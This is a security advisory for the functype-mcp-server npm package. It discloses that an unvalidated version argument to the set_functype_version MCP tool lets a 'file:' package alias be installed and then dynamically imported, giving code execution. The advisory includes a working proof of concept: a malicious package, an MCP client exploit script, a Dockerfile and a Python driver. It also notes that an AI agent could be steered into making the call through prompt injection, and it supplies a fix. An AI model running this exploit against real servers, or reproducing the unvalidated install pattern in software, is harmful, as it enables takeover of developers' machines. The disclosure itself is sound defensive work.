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functype-mcp-server: MCP `set_functype_version` Package Alias RCE via Unsanitized pnpm install + Dynamic Import

High severity GitHub Reviewed Published Jun 20, 2026 in jordanburke/functype • Updated Sep 9, 2026

Package

npm functype-mcp-server (npm)

Affected versions

<= 1.4.3

Patched versions

1.4.4

Description

MCP set_functype_version Package Alias RCE via Unsanitized pnpm install + Dynamic Import

Summary

The set_functype_version MCP tool in functype-mcp-server accepts an unconstrained version string, interpolates it directly into an npm package specifier (functype@<version>), and installs it via pnpm add without any validation. Because npm/pnpm package specifiers support file:, npm:, and other alias syntaxes, an attacker who can send an MCP tools/call request to this tool can cause the server to install an arbitrary local or remote package as functype. Immediately after installation, the server calls initDocsData(true), which dynamically imports functype/cli from the newly installed location, executing attacker-controlled JavaScript in the MCP server process. This results in full Remote Code Execution (RCE) with the privileges of the server process — full confidentiality, integrity, and availability impact (CVSS 7.8 High).

Details

The vulnerable code is in packages/mcp-server/src/index.ts. The set_functype_version tool is registered at line 115 and is enabled by default (no authentication required in stdio mode).

Source (user input accepted without validation):

// packages/mcp-server/src/index.ts:119-121
parameters: z.object({
  version: z.string().describe('The functype version to install (e.g., "0.46.0", "latest", "^0.45.0")'),
}),

Only z.string() validation is applied — no semver format check, no allowlist for dist-tags, and no rejection of file:, npm:, URL, or path alias syntaxes.

Sink 1 — arbitrary package installation:

// packages/mcp-server/src/index.ts:122-125
execute: async (args) => {
  const spec = `functype@${args.version}`
  try {
    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

args.version is interpolated into the package specifier string and passed directly to pnpm add. Supplying file:/path/to/evil causes pnpm to install an attacker-controlled directory as the functype package alias.

Sink 2 — dynamic import executes installed package code:

// packages/mcp-server/src/lib/docs/data.ts:23-30
if (force) {
  const resolvedPath = require.resolve("functype/cli")
  cli = await import(`${pathToFileURL(resolvedPath).href}?t=${Date.now()}`)
}

initDocsData(true) is called immediately after installation (line 134 in index.ts). It resolves functype/cli from the node_modules that now points to the attacker's package and dynamically imports it, executing any module-level code in the attacker's cli.js at import time.

Data flow summary:

  1. index.ts:115 — MCP tool set_functype_version registered, no auth required.
  2. index.ts:119-121version accepted as raw z.string() (source).
  3. index.ts:123functype@${args.version} constructed without sanitization.
  4. index.ts:125execFileSync("pnpm", ["add", spec], ...) installs attacker-controlled package (sink: arbitrary install).
  5. index.ts:134initDocsData(true) called immediately.
  6. data.ts:29-30require.resolve("functype/cli") + dynamic import() executes attacker module (sink: RCE).

PoC

Step 1 — Prepare the attacker-controlled evil package:

mkdir -p /tmp/evil
cat > /tmp/evil/package.json <<'EOF'
{"name":"evil-functype","version":"1.0.0","type":"module","exports":{"./cli":"./cli.js"}}
EOF
cat > /tmp/evil/cli.js <<'EOF'
import { writeFileSync } from "node:fs";
writeFileSync("/pwned.txt", "RCE: mcp import-time code execution via set_functype_version\n");
export const TYPES = {};
export const INTERFACES = {};
export const CATEGORIES = {};
export const FULL_INTERFACES = {};
export const VERSION = "1.0.0";
EOF

Step 2 — Clone and build the victim monorepo at the affected version:

TMP="$(mktemp -d)"
git clone https://github.com/jordanburke/functype.git "$TMP/functype"
cd "$TMP/functype"
git checkout v1.4.3
corepack enable
pnpm install --frozen-lockfile
pnpm -F functype build
pnpm -F functype-mcp-server build

Step 3 — Set up an MCP client to deliver the exploit:

cd "$TMP"
npm init -y
npm pkg set type=module
npm install @modelcontextprotocol/sdk

cat > exploit.mjs <<'EOF'
import { Client } from "@modelcontextprotocol/sdk/client/index.js";
import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

const client = new Client({ name: "poc", version: "1.0.0" });
const transport = new StdioClientTransport({
  command: "node",
  args: [`${process.env.REPO}/packages/mcp-server/dist/bin.js`],
  env: { ...process.env, TRANSPORT_TYPE: "stdio" },
});

await client.connect(transport);
const result = await client.callTool({
  name: "set_functype_version",
  arguments: { version: "file:/tmp/evil" },
});
console.log(result);
await client.close();
EOF

REPO="$TMP/functype" node exploit.mjs

Step 4 — Verify arbitrary code execution:

cat /pwned.txt
# Expected output: RCE: mcp import-time code execution via set_functype_version

Dynamic reproduction (Docker):

The Phase 2 dynamic test used the provided Dockerfile which automates the above steps inside a container. The container confirmed creation of /pwned.txt with the expected payload string, proving end-to-end RCE.

[poc] EXPLOIT SUCCEEDED: /pwned.txt exists
[poc] File contents: RCE: mcp import-time code execution via set_functype_version
[evil-payload] Arbitrary code executed via functype/cli dynamic import

Recommended remediation:

+const SAFE_FUNCTYPE_VERSION = /^(?:latest|next|beta|alpha|canary|rc|[~^]?v?\d+(?:\.\d+){0,2}(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?)$/
+
+const isSafeFunctypeVersion = (version: string): boolean => {
+  const trimmed = version.trim()
+  return trimmed === version && SAFE_FUNCTYPE_VERSION.test(trimmed) && !/[/:\\@]/.test(trimmed)
+}

 execute: async (args) => {
-  const spec = `functype@${args.version}`
+  if (!isSafeFunctypeVersion(args.version)) {
+    return "Invalid functype version. Use a semver version, range prefix (^ or ~), or a known dist-tag."
+  }
+  const spec = `functype@${args.version}`
   try {
-    execFileSync("pnpm", ["add", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })
+    execFileSync("pnpm", ["add", "--ignore-scripts", spec], { cwd: PROJECT_ROOT, stdio: "pipe", timeout: 60_000 })

Impact

This is a Remote Code Execution (RCE) vulnerability. Any MCP client that can invoke the set_functype_version tool — which requires no authentication and is enabled by default in the stdio MCP server — can execute arbitrary JavaScript in the MCP server process.

Who is impacted:

  • Developers and teams running functype-mcp-server (version 1.4.3) in their local or CI environments as an AI coding assistant integration.
  • Users whose AI assistant (LLM agent) is connected to this MCP server and is susceptible to indirect prompt injection: a malicious document or web page read by the AI could trigger a set_functype_version call with a file: or npm: alias payload.
  • In non-default TRANSPORT_TYPE=httpStream deployments, network-accessible attackers can exploit this without local access.

The full impact at exploitation is confidentiality, integrity, and availability — an attacker can read secrets from the process environment, modify files, or crash the server.

Reproduction artifacts

Dockerfile

# Dockerfile for VULN-001: MCP set_functype_version Package Alias RCE
#
# Build context: reports/npmAI_684_jordanburke__functype/
#   COPY repo/       -> /workspace/functype/   (victim monorepo)
#   COPY vuln-001/   -> supporting PoC files
#
# Build:  docker build -t vuln001-functype-rce -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-functype-rce
#
# Expected exit 0 with "[poc] EXPLOIT SUCCEEDED" in output.

FROM node:24-slim

# Install pnpm matching the repo's packageManager field (pnpm@11.7.0).
RUN npm install -g pnpm@11.7.0 --quiet

# ── Victim workspace ──────────────────────────────────────────────────────────
WORKDIR /workspace/functype
COPY repo/ ./

# Install all workspace deps. --no-frozen-lockfile avoids hash mismatches
# caused by running on a different pnpm minor than the one that generated the
# lockfile; the installed versions are still constrained by the lockfile
# specifiers for the packages we care about.
RUN pnpm install --no-frozen-lockfile

# Build functype first (mcp-server externals functype at build time).
RUN pnpm -F functype build

# Build the MCP server binary (output: packages/mcp-server/dist/bin.js).
RUN pnpm -F functype-mcp-server build

# ── Attacker-controlled evil package ─────────────────────────────────────────
# /evil/cli.js writes /pwned.txt when dynamically imported.
COPY vuln-001/evil/ /evil/

# ── MCP exploit client ────────────────────────────────────────────────────────
WORKDIR /client
RUN npm init -y --quiet && \
    npm pkg set type=module && \
    npm install @modelcontextprotocol/sdk@1.29.0 --quiet
COPY vuln-001/client/exploit.mjs ./exploit.mjs

# Default entrypoint: run the exploit and exit 0 on success.
CMD ["node", "/client/exploit.mjs"]

poc.py

#!/usr/bin/env python3
"""
PoC driver for VULN-001: MCP set_functype_version Package Alias RCE
via Unsanitized pnpm install + Dynamic Import (CWE-829, CVSS 7.8 High).

Attack chain:
  1. Attacker calls MCP tool set_functype_version with version="file:/evil"
  2. Server executes: execFileSync("pnpm", ["add", "functype@file:/evil"], ...)
  3. Evil package is installed as the functype alias in mcp-server's node_modules
  4. Server calls initDocsData(true) which resolves functype/cli and dynamic-imports it
  5. /evil/cli.js runs at import time -> writes /pwned.txt (arbitrary code execution)

Usage:
  python3 poc.py [--build-only]

Requirements:
  - Docker daemon running
  - Build context at parent directory of this file's directory
"""

import subprocess
import sys
import json
import os
import argparse

VULN_DIR = os.path.dirname(os.path.abspath(__file__))
REPORT_DIR = os.path.dirname(VULN_DIR)
IMAGE_NAME = "vuln001-functype-rce"
DOCKERFILE = os.path.join(VULN_DIR, "Dockerfile")
RESULT_FILE = os.path.join(VULN_DIR, "phase2_result.json")

BUILD_CMD = ["docker", "build", "-t", IMAGE_NAME, "-f", DOCKERFILE, REPORT_DIR]
RUN_CMD = ["docker", "run", "--rm", IMAGE_NAME]


def run(cmd, timeout=None, **kwargs):
    """Run a command and return CompletedProcess with combined output."""
    return subprocess.run(
        cmd,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        text=True,
        timeout=timeout,
        **kwargs,
    )


def write_result(passed, verdict, reason, evidence):
    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": " ".join(BUILD_CMD),
        "run_command": " ".join(RUN_CMD),
        "poc_command": f"python3 {os.path.basename(__file__)}",
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py", "evil/package.json", "evil/cli.js", "client/exploit.mjs"],
    }
    with open(RESULT_FILE, "w", encoding="utf-8") as f:
        json.dump(result, f, indent=2, ensure_ascii=False)
    print(f"[poc] Result written to {RESULT_FILE}")
    print(f"[poc] verdict={verdict}  passed={passed}")


def main():
    parser = argparse.ArgumentParser(description="VULN-001 PoC driver")
    parser.add_argument("--build-only", action="store_true", help="Only build the image, do not run")
    args = parser.parse_args()

    # ── Build ─────────────────────────────────────────────────────────────────
    print("[poc] Building Docker image (this may take a few minutes)...")
    print(f"[poc] Build command: {' '.join(BUILD_CMD)}")

    try:
        build = run(BUILD_CMD, timeout=900)
    except subprocess.TimeoutExpired:
        msg = "Docker build timed out after 900 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"빌드 타임아웃: {msg}", msg)
        sys.exit(2)

    if build.returncode != 0:
        tail = (build.stdout + "\n" + build.stderr)[-3000:]
        print("[poc] Build FAILED:")
        print(tail)
        write_result(
            False,
            "FAIL",
            "Docker 이미지 빌드 실패. pnpm install 또는 TypeScript 빌드 오류 확인 필요.",
            f"BUILD EXIT {build.returncode}\n{tail}",
        )
        sys.exit(1)

    print("[poc] Build succeeded.")

    if args.build_only:
        print("[poc] --build-only flag set; skipping run.")
        sys.exit(0)

    # ── Run ───────────────────────────────────────────────────────────────────
    print(f"[poc] Running exploit container: {' '.join(RUN_CMD)}")

    try:
        run_result = run(RUN_CMD, timeout=180)
    except subprocess.TimeoutExpired:
        msg = "Container run timed out after 180 seconds"
        print(f"[poc] ERROR: {msg}")
        write_result(False, "INCOMPLETE", f"컨테이너 실행 타임아웃: {msg}", msg)
        sys.exit(2)

    stdout = run_result.stdout or ""
    stderr = run_result.stderr or ""
    combined = stdout + "\n" + stderr

    print("=" * 60)
    print("STDOUT:")
    print(stdout)
    print("STDERR:")
    print(stderr)
    print(f"EXIT CODE: {run_result.returncode}")
    print("=" * 60)

    # Success criteria: exit 0 AND exploit succeeded message present
    exploit_succeeded = "EXPLOIT SUCCEEDED" in combined
    passed = run_result.returncode == 0 and exploit_succeeded

    if passed:
        # Extract key evidence lines
        evidence_lines = [
            line for line in combined.splitlines()
            if any(kw in line for kw in ("EXPLOIT SUCCEEDED", "pwned.txt", "evil-payload", "RCE:"))
        ]
        evidence = "\n".join(evidence_lines) if evidence_lines else combined[-1000:]

        write_result(
            True,
            "PASS",
            (
                "컨테이너 내 /pwned.txt 생성 확인: MCP set_functype_version 도구에 "
                'version="file:/evil" 인수를 전달하자 서버가 pnpm add functype@file:/evil을 실행한 후 '
                "initDocsData(true)가 동적 import를 통해 evil/cli.js를 실행, 임의 파일 쓰기(RCE)가 발생함."
            ),
            evidence,
        )
        print("[poc] === PASS: exploit reproduced ===")
        sys.exit(0)

    else:
        # Distinguish failure modes
        if not exploit_succeeded and run_result.returncode == 0:
            verdict = "INCOMPLETE"
            reason = (
                "/pwned.txt가 생성되지 않았으나 컨테이너는 정상 종료됨. "
                "pnpm add 후 require.resolve 경로 확인 필요 — pnpm 가상 스토어 구조로 인해 "
                "node_modules/functype 심볼릭링크가 예상 위치에 없을 수 있음."
            )
        else:
            verdict = "FAIL"
            reason = (
                f"컨테이너 종료 코드 {run_result.returncode}. "
                "exploit.mjs 오류 또는 MCP 서버 시작 실패. 로그 확인 필요."
            )

        write_result(False, verdict, reason, combined[-2000:])
        print(f"[poc] === {verdict}: exploit did not reproduce ===")
        sys.exit(1)


if __name__ == "__main__":
    main()

References

@jordanburke jordanburke published to jordanburke/functype Jun 20, 2026
Published to the GitHub Advisory Database Sep 9, 2026
Reviewed Sep 9, 2026
Last updated Sep 9, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

EPSS score

Weaknesses

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

CVE ID

CVE-2026-59176

GHSA ID

GHSA-wcjj-9m6g-2fr2

Source code

Credits

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